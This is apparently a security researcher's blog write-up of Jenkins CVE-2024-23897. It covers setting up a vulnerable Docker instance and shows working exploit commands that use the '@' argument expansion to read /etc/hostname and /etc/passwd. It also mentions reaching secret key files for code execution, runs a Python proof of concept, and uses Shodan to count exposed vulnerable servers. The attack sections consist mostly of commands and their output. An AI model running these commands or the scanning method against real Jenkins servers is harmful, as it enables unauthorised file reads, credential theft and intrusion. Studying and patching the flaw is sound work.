Jenkins CVE-2024-23897
Table of Contents
Analysis and proof-of-concept (PoC) for Jenkins file-read vulnerability CVE-2024-23897.
What’s Jenkins #
Jenkins is an open-source automation tool that helps developers streamline the software development process, particularly by focusing on continuous integration and delivery (CI/CD). It helps development teams deliver faster and with more confidence, catching bugs early and streamlining the process from code change to production release, playing a vital role in automating key aspects of software development.
CVE-2024-23897 #
On January 24, 2024, Jenkins issued an advisory regarding a file-read vulnerability (CVE-2024-23897), leading to Remote Code Execution in Jenkins versions, including weekly releases up to and including 2.441, as well as Jenkins LTS up to and including 2.426.2. The vulnerability exploits the parseArgument()
function in the args4j library used by jenkins to read files. To read entire files, Overall/Read permission is required. However, even without these permissions, the first three lines of a file can be accessed.
Jenkins offers multiple authorization methods, particularly options like “Anyone can do anything”, “Logged-in users can do anything”, “Legacy Mode”, and “Allow anonymous read access”, providing, at the very least, read access to almost anyone. Additionally, there’s an option on the Security page that allows users to sign up, granting them Read access.
This file-read vulnerability has the potential to escalate to RCE, by accessing binary files containing cryptographic keys. For instance, the hudson.util.Secret
file in the secrets directory holds encrypted keys used for encrypting other secrets within Jenkins.
Setting up a vulnerable instance locally #
A local Jenkins instance with this specific vulnerability can easily be replicated via Docker Compose.
cd docker
docker compose up -d
If everything goes smoothly, the Jenkins instance should be accessible at http://localhost:1234
within a few minutes.
❯ http -ph localhost:1234
HTTP/1.1 200 OK
<--snip-->
X-Jenkins: 2.441
X-Jenkins-Session: afc817a2
The setup wizard requires the initial admin password, which can be retrieved from the container logs or from the secrets
directory within the container. The subsequent setup wizard is relatively straightforward. Additionally, I created an admin user, abraxas:abraxas
specifically for testing different permissions.
❯ docker logs jenkins_vulnerable | less
Running from: /usr/share/jenkins/jenkins.war
webroot: /var/jenkins_home/war
<--snip-->
2024-02-01 06:01:53.684+0000 [id=34] INFO jenkins.install.SetupWizard#init:
*************************************************************
*************************************************************
*************************************************************
Jenkins initial setup is required. An admin user has been created and a password generated.
Please use the following password to proceed to installation:
5581eac22dc145469a8a38ab9a6f74c6
This may also be found at: /var/jenkins_home/secrets/initialAdminPassword
<--snip-->
Overall Administrator privilege or read-only access is required to test the vulnerability. Although the “abraxas” user I created has these permissions, including authorization with every request could be cumbersome. Therefore, opting for a simpler alternative, I enabled Anonymous Read Access through the “Manage Jenkins/Security” page…
Or, by directly modifying the config.xml
file within the Jenkins home directory (/var/jenkins_home
) within the container. This involves setting the denyAnonymousReadAccess
property to false
.
❯ _ cat /var/lib/docker/volumes/docker_jenkins_data/_data/config.xml
<--snip-->
<useSecurity>true</useSecurity>
<authorizationStrategy class="hudson.security.FullControlOnceLoggedInAuthorizationStrategy">
<denyAnonymousReadAccess>true</denyAnonymousReadAccess>
</authorizationStrategy>
<--snip-->
Exploitation #
The jenkins-ci.jar
file can be obtained from the vulnerable instance by visiting http://<jenkins-host:port>/jnlpJars/jenkins-cli.jar
. This allows access to Jenkins’ built-in command line interface locally.
❯ wget -q http://localhost:1234/jnlpJars/jenkins-cli.jar -O jenkins-cli.jar
❯ file jenkins-cli.jar
jenkins-cli.jar: Java archive data (JAR)
❯ java -jar jenkins-cli.jar -help
Neither -s nor the JENKINS_URL env var is specified.
Jenkins CLI
Usage: java -jar jenkins-cli.jar [-s URL] command [opts...] args...
Options:
-s URL : the server URL (defaults to the JENKINS_URL env var)
-webSocket : connect using WebSocket (the default; works well with most reverse proxies; requires Jetty)
-http : use a pair of HTTP(S) connections rather than WebSocket
-ssh : use SSH protocol rather than WebSocket (requires -user; SSH port must be open on server)
-i KEY : SSH private key file used for authentication (for use with -ssh)
-noCertificateCheck : bypass HTTPS certificate check entirely. Use with caution
-noKeyAuth : do not try to load the SSH authentication private key. Conflicts with -i
-user : specify user (for use with -ssh; must have registered a public key)
-strictHostKey : request strict host key checking (for use with -ssh)
-logger FINE : enable detailed logging from the client
-auth [ USER:SECRET | @FILE ] : specify username and either password or API token (or load from them both from a file);
for use with -http.
Passing credentials by file is recommended.
See https://www.jenkins.io/redirect/cli-http-connection-mode for more info and options.
-bearer [ TOKEN | @FILE ] : specify authentication using a bearer token (or load the token from file);
for use with -http. Mutually exclusive with -auth.
Passing credentials by file is recommended.
The available commands depend on the server. Run the 'help' command to see the list.
As highlighted in the blog post by Sonar, the connect-node
command can be exploited to trigger args4j’s parseArgument()
by adding a @
prefix to the filename. This allows unauthorized reading of files, such as /etc/hostname
."
❯ java -jar jenkins-cli.jar -s http://localhost:1234/ -http connect-node "@/etc/hostname"
ERROR: No such agent "jenkins_vuln_instance" exists.
The hostname obtained from vulnerability can be verified using the docker exec command.
❯ docker exec -it jenkins_vulnerable /bin/bash -c 'hostname'
jenkins_vuln_instance
When parseArgument()
invokes expandAtFiles()
, the @
symbol triggers specific behavior:
- If the argument is prefixed with a
@
, thenexpandAtFiles()
interprets its as a file to be read. - It reads the contents of file line-by-line, and each line is considered a separate argument.
This functionality combined with the connect-node
command, can essentially read contents of the entire file:
- The
connect-node
command typically expects a list of nodes for connection attempts. - And with a when a file prefixed with
@
is provided, it processes the entire file and treats each argument as a distinct node and attempts to connect to them. - Upon failure, it prints the specific node it attempted to connect to.
I included a file named fileRead_test.txt
within the container to explore alternative file read methods.
❯ docker exec -it jenkins_vulnerable /bin/bash -c 'cat ~/fileRead_test.txt'
line 1
line 2
line 3
line 4
line 5
With the anonymous read access enabled, I managed to list the entire contents of the file using the connect-node
command. However, the order in which the information was listed seems to be altered.
❯ java -jar jenkins-cli.jar -s http://localhost:1234/ -http connect-node "@/var/jenkins_home/fileRead_test.txt"
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
line 2: No such agent "line 2" exists.
line 3: No such agent "line 3" exists.
line 1: No such agent "line 1" exists.
line 4: No such agent "line 4" exists.
line 5: No such agent "line 5" exists.
ERROR: Error occurred while performing this command, see previous stderr output.
Different commands exhibit varying abilities to read specific lines within the file. Even with anonymous read access disabled, the who-am-i
and shutdown
commands revealed the first line, while the enable-job
command granted access to the second line.
❯ java -jar jenkins-cli.jar -s http://localhost:1234/ -http who-am-i "@/var/jenkins_home/fileRead_test.txt"
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
ERROR: No argument is allowed: line 1
java -jar jenkins-cli.jar who-am-i
Reports your credential and permissions.
❯ java -jar jenkins-cli.jar -s http://localhost:1234/ -http shutdown "@/var/jenkins_home/fileRead_test.txt"
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
ERROR: No argument is allowed: line 1
java -jar jenkins-cli.jar shutdown
Immediately shuts down Jenkins server.
❯ java -jar jenkins-cli.jar -s http://localhost:1234/ -http enable-job "@/var/jenkins_home/fileRead_test.txt"
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
ERROR: Too many arguments: line 2
java -jar jenkins-cli.jar enable-job NAME
Enables a job.
NAME : Job name
The help
command on the other hand prints both, the first and second lines.
❯ java -jar jenkins-cli.jar -s http://localhost:1234/ -http help "@/var/jenkins_home/fileRead_test.txt"
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
ERROR: Too many arguments: line 2
java -jar jenkins-cli.jar help [COMMAND]
Lists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: line 1)
Creating a PoC #
I wanted to see how the jar file interacted with the server, so I set up Burp’s invisible proxy. This involved setting up BurpSuite to intercept and inspect traffic by forwarding communications from port 80 on my local machine to port 1234, allowing me see the communication between the jar file and the Jenkins server.
❯ java -jar jenkins-cli.jar -s http://localhost -http connect-node "@/etc/hostname"
Whenever I used jenkins-cli.jar
, I notice three specific requests:
- A GET request to
/
. I imagine this is just to test the connectivity. - A POST request to
/cli
for downloading. - A POST request to
/cli
for uploading.
I employed Burp’s comparer to analyze the two POST requests:
- Both requests feature a session header resembling a UUID.
- Additionally, both requests include an extra
Side
header. - In the first request:
- The POST data is NULL, and
- The
Side
header is configured as “download”.
- In the second request:
- The
Side
header is configured as “upload”. - The Post data involved appears to be bytecode, and this can be verified by examining it in hex.
- The
I utilized Burp’s “copy-as-curl” option to extract the bytecode post data. Subsequently, I used Python’s requests library to script the sending of the two requests sequentially. Unfortunately, the script consistently resulted in a 500 status code.
❯ python poc.py
[i] Target URL http://localhost:1234/cli?remoting=false
Exception raised: 500 Server Error: Server Error for url: http://localhost:1234/cli?remoting=false
Revisiting Burp, I observed that both requests occurred nearly simultaneously. To account for this, I adjusted the script to send the requests concurrently via threading. While this approach proved successful at times, it was inconsistent. Analyzing Burp’s history, I noticed that the order was occasionally swapped for requests resulting in timeouts. To mitigate this, I introduced a 0.1-second delay to ensure that one request doesn’t disconnect without receiving a response. Now, with the modified Python script, I can exploit the vulnerability to read file contents.
❯ python CVE-2024-23897.py --url 'http://127.0.0.1:1234/' --file '/etc/hostname'
[i] Vulnerable to CVE-2024-23897 (Jenkins v2.441 <= 2.441)
[*] Target URL http://127.0.0.1:1234/cli?remoting=false
[*] Attempting to read /etc/hostname
[i] Download request done
[+] Found data, printing...
ERROR: No such agent "jenkins_vuln_instance" exists.
[i] Upload request done
[i] All threads completed
However, despite this approach, I encountered difficulties retrieving larger files such as /etc/passwd
. The connection consistently terminated before completing the second upload request. I added a timeout to the requests to fix this.
❯ python CVE-2024-23897.py --url 'http://127.0.0.1:1234/' --file '/etc/passwd' --method 1
[i] Vulnerable to CVE-2024-23897 (Jenkins v2.441 <= 2.441)
[*] Target URL http://127.0.0.1:1234/cli?remoting=false
[*] Attempting to read /etc/passwd
[i] Download request done
[+] Found data, printing...
[X] Download request failed: ("Connection broken: InvalidChunkLength(got length b'\\x00', 0 bytes read)", InvalidChunkLength(got length b'\x00', 0 bytes read))
[i] Upload request done
[i] All threads completed
While I opted for Anonymous Read Access for PoC, the script can easily be adapted to include the
Authorization: Basic YWJyYXhhczphYnJheGFz
header for each request if you wish to test with authenticated users.
java -jar jenkins-cli.jar -s http://localhost:1234/ -auth abraxas:abraxas -http connect-node "@/etc/hostname"
Analysis w/ Shodan #
I came across a post indicating that over 45,000 Jenkins instances were vulnerable to this particular vulnerability. This led me to consider utilizing Shodan, which essentially maps the entire internet, to analyze the extent of vulnerable instances exposed to the internet.
To identify exposed instances, I wrote a Python script to generate the MurmurHash3 hash for the site’s favicon.
❯ python gen_favicon_hash.py http://localhost:1234
Favicon hash: 81586312
Subsequently, I used the hash in a Shodan query to search for Jenkins instances, which yielded 83,655 results.
❯ shodan count "http.favicon.hash:81586312"
83655
Regrettably, many of these, even those accessible on the internet, require some form of authorization. So, I adjusted the query to filter results returning a 200 status code, reducing the results to 13,164.
❯ shodan count "http.favicon.hash:81586312 200"
13164
❯ shodan stats "http.favicon.hash:81586312 200"
Top 10 Results for Facet: country
CN 12,529
US 307
DE 55
FR 42
SG 27
IN 23
GB 19
KR 18
HK 16
IE 16
Top 10 Results for Facet: org
Aliyun Computing Co., LTD 10,407
Aliyun Computing Co.LTD 1,007
China Mobile Communications Corporation 184
CHINANET SHANGHAI PROVINCE NETWORK 121
Amazon Technologies Inc. 120
China Unicom Shandong Province Network 93
Zhejiang Taobao Network Co.,Ltd 88
CHINANET Guangdong province network 68
Hangzhou Alibaba Advertising Co.,Ltd. 63
Amazon.com, Inc. 49
Analyzing 13k results would require a decent amount of Shodan credits and time. Given that the United States had just over 300 results, I opted to focus on analyzing instances there.
❯ date -u
Sunday 04 February 2024 11:38:28 PM UTC
❯ python shodan_analysis.py
[i] Using query: http.favicon.hash:81586312 200 country:US
[i] Total Jenkins instances found: 307
[+] Vulnerable instances found: 206 | Current count: 305
[*] Querying complete!
[+] Total vulnerable instances: 206
[+] 100 instances not vulnerable or unable to determine their version
It turns out that out of the 307 instances identified, 206 (67.10%) haven’t upgraded their instances. While it’s plausible that some may have implemented the temporary workaround suggested by Jenkins, the fact that a significant number still utilizes the vulnerable version, even 12 days (at the time of writing) after a CVE was assigned for the vulnerability, is concerning.
Related Links #
- AbraXa5/Jenkins-CVE-2024-23897: PoC for Jenkins CVE-2024-23897
- AbraXa5/Jenkins-CVE-2024-23897/shodan_research
- Excessive Expansion: Uncovering Critical Security Vulnerabilities in Jenkins | Sonar
- Jenkins Security Advisory 2024-01-24
- Jenkins Core Remote Code Execution Vulnerability (CVE-2024-23897) – Qualys ThreatPROTECT
- CVE-2024-23897: Assessing the Impact of the Jenkins Arbitrary File Leak Vulnerability – Horizon3.ai
- jenkinsci-cert/SECURITY-3314-3315: Workaround for disabling the CLI to mitigate SECURITY-3314/CVE-2024-23897 and SECURITY-3315/CVE-2024-23898